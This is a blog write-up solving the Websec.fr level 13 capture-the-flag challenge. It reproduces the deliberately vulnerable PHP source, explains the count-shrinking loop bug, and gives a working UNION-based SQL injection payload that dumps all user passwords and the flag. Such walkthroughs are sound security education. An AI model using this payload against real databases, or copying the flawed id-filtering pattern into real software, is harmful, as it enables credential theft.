Post

Websec.fr level 13 - easy

The level

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<?php
<!-- Yet an other fine level, based on a real-world vuln discovered by @caillou -->
<?php

// Defines $flag
include 'flag.php';

$db = new PDO('sqlite::memory:');
$db->exec('CREATE TABLE users (
  user_id   INTEGER PRIMARY KEY,
  user_name TEXT NOT NULL,
  user_privileges INTEGER NOT NULL,
  user_password TEXT NOT NULL
)');

$db->prepare("INSERT INTO users VALUES(0, 'admin', 0, '$flag');")->execute();

for($i=1; $i<25; $i++) {
  $pass = md5(uniqid());
  $user = "user_" . substr(crc32($pass), 0, 2);
  $db->prepare("INSERT INTO users VALUES($i, '$user', 1, '$pass');")->execute();
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>#WebSec Level Thirteen</title>
    <link rel="stylesheet" href="../static/bootstrap.min.css" />
</head>
    <body>
        <div id="main">
            <div class="container">
                <div class="row">
                    <h1>LevelThirteen <small> - A privilege offer</small></h1>
                </div>
                <div class="row">
                    <p class="lead">
                                            A simple tool to display privileges, so you can check them.
                                            As usual, the source code can be found <a href="source.php">here</a>.
                    </p>
                </div>
            </div>
            <div class="container">
              <div class="row">
                <form class="form-inline" method='get'>
                                    Ids to display
                  <input name='ids' class='form-control' type='text' value='1,2,3'>
                  <input class="form-control btn btn-default" name="submit" value='Go' type='submit'>
                </form>
              </div>

<?php
if (isset($_GET['ids'])) {
    if ( ! is_string($_GET['ids'])) {
        die("Don't be silly.");
    }

    if ( strlen($_GET['ids']) > 70) {
        die("Please don't check all the privileges at once.");
    }

  $tmp = explode(',',$_GET['ids']);
  for ($i = 0; $i < count($tmp); $i++ ) {
        $tmp[$i] = (int)$tmp[$i];
        if( $tmp[$i] < 1 ) {
            unset($tmp[$i]);
        }
  }

  $selector = implode(',', array_unique($tmp));

  $query = "SELECT user_id, user_privileges, user_name
  FROM users
  WHERE (user_id in (" . $selector . "));";

  $stmt = $db->query($query);

    echo '<br>';
    echo '<div class="well">';
  echo '<ul>';
  while ($row = $stmt->fetch(\PDO::FETCH_ASSOC)) {
        echo "<li>";
        echo "User <em>" . $row['user_name'] . "</em>";
      echo "    with id <code>" . $row['user_id'] . '</code>';
        echo " has <b>" . ($row['user_privileges'] == 0?"all":"no") . "</b> privileges.";
        echo "</li>\n";
  }
    echo "</ul>";
    echo "</div>";
}
?>
            </div>
        </div>
    </body>
</html>

This time I put all the code because it’s it all pretty important. OK! let’s begin. We have a data base. First, we see that admin user_name with 0 id has the password $flag. So our purpose is to get the id 0’s password. How do we do that ?

This code fills the database “users” with 25 different users. The input later takes id’s like “1,2,3”. Then splits in into an array, and if there a 0 it unsets it from the list. At the final stage it recomibines it to the string then queries the users for those id.

What’s the caveat ?

Look at this loop

1
2
3
4
5
6
7
$tmp = explode(',',$_GET['ids']);
for ($i = 0; $i < count($tmp); $i++ ) {
    $tmp[$i] = (int)$tmp[$i];
    if( $tmp[$i] < 1 ) {
        unset($tmp[$i]);
    }
}

if we unset an element of the list, the count will change right? that means that the loop will stop if the array is too long. Look at this code and it’s output.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
// Simulated input
$input = '4,0,0,0,0,5'; // Values to process
$tmp = explode(',', $input);
echo "Initial count: " . count($tmp) . "\n"; // Initial count

for ($i = 0; $i < count($tmp); $i++) {
    $tmp[$i] = (int)$tmp[$i]; // Convert to integer
    echo "Count after conversion at index $i: " . count($tmp) . "\n"; // Count after conversion

    if ($tmp[$i] < 1) {
        unset($tmp[$i]);
        echo "Count after unsetting at index $i: " . count($tmp) . "\n"; // Count after unsetting
    }
}

// Final output of valid IDs
echo "Final valid IDs: " . implode(',', $tmp) . "\n";
echo "Final count of valid IDs: " . count($tmp) . "\n"; // Final count

// Echo the original input after processing
echo "Original input after processing: " . implode(',', $tmp) . "\n"; // Echoing the processed input
?>
1
2
3
4
5
6
7
8
9
10
11
12
php /tmp/DQsGXDOTox.php
Initial count: 6
Count after conversion at index 0: 6
Count after conversion at index 1: 6
Count after unsetting at index 1: 5
Count after conversion at index 2: 5
Count after unsetting at index 2: 4
Count after conversion at index 3: 4
Count after unsetting at index 3: 3
Final valid IDs: 4,0,5
Final count of valid IDs: 3
Original input after processing: 4,0,5

Original input after processing: 4,0,5. Meaning, the count was decreased each time, and the for loop exisited before removing the final 0. Great !! So now we know what input of id’s to insert. Let’s try it.

image

WELL, we know that user admin has all privileges. What does that help us ? Let’s look at the final query again.

1
2
3
$query = "SELECT user_id, user_privileges, user_name
FROM users
WHERE (user_id in (" . $selector . "));";`

Selecting 3 columns without the user_password, meaning we need a UNION statment here to choose the password, and not make too long because of the len check

1
2
3
if ( strlen($_GET['ids']) > 70) {
    die("Please don't check all the privileges at once.");
}

Great, let’s build it

1
1,0,0,0,2 )) UNION SELECT user_password, 1, 2 FROM users;

Why the )) ? Because the we need to inject it into the

1
2
3
4
5
$selector = implode(',', array_unique($tmp));

$query = "SELECT user_id, user_privileges, user_name
FROM users
WHERE (user_id in (" . $selector . "));";`

Remember, in UNION the number of columns needs to be identical for both SELECT statments (that’s why the user_password, then 1, 2)

Great, what do we get ?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
User user_27 with id 1 has no privileges.
User user_27 with id 2 has no privileges.
User 2 with id 0bb3ae4666fe9dc85fc881f4b50ac799 has no privileges.
User 2 with id 30c230596b57f0300b9ece80a166a97f has no privileges.
User 2 with id 3a5dcf2ccd137c387d2e301540f750da has no privileges.
User 2 with id 4a8398704bbeb7e49aa610e5678a447e has no privileges.
User 2 with id 53352a755722a8c34b7883d301dcf857 has no privileges.
User 2 with id 584fbc15512ad0c9c2776f474ffafde3 has no privileges.
User 2 with id 5a3baef3cb4b51c45714a560d500cc19 has no privileges.
User 2 with id 5b01bc0c4389c6c2d18acb7c112cc8b4 has no privileges.
User 2 with id 608baefb79dc839c1e2fa98946260297 has no privileges.
User 2 with id 638a5304b26f20a400b29021275a906b has no privileges.
User 2 with id 6bfdf6faaaca4ebf44d1c533d2004e2f has no privileges.
User 2 with id 8456825b70310699d1b17e898ad496db has no privileges.
User 2 with id 890b7ffc93131dda52dd607625f23f02 has no privileges.
User 2 with id 96574db1a037cfd4f596e3b8716be03f has no privileges.
User 2 with id 9d83e36e0fa1b0c493a24288e5080158 has no privileges.
User 2 with id WEBSEC{SQL_injection_in_your_cms,_made_simple} has no privileges.
User 2 with id a50e95877aacc22c160405273eff83a8 has no privileges.
User 2 with id a6005e223e56a65081cedc2c54bc03f8 has no privileges.
User 2 with id bc4eb02a196e2bd8fe7a5c94d707befa has no privileges.
User 2 with id c1898885de0431ab1ca8e5bc6dca6917 has no privileges.
User 2 with id ca9af06cd2e71f92d47bd23e759dfca8 has no privileges.
User 2 with id d4ba99f0bf9a8c10f672c3128a0a446d has no privileges.
User 2 with id d7576301f7f508b011cb4a8137bfdaf0 has no privileges.
User 2 with id e950dd57e4aab1dbe00f2d566bdc8fbc has no privileges.
User 2 with id ff506985f19a872d98f0e8803d1b504e has no privileges.
1
WEBSEC{SQL_injection_in_your_cms,_made_simple}

Thanks for reading !!!

This post is licensed under CC BY 4.0 by the author.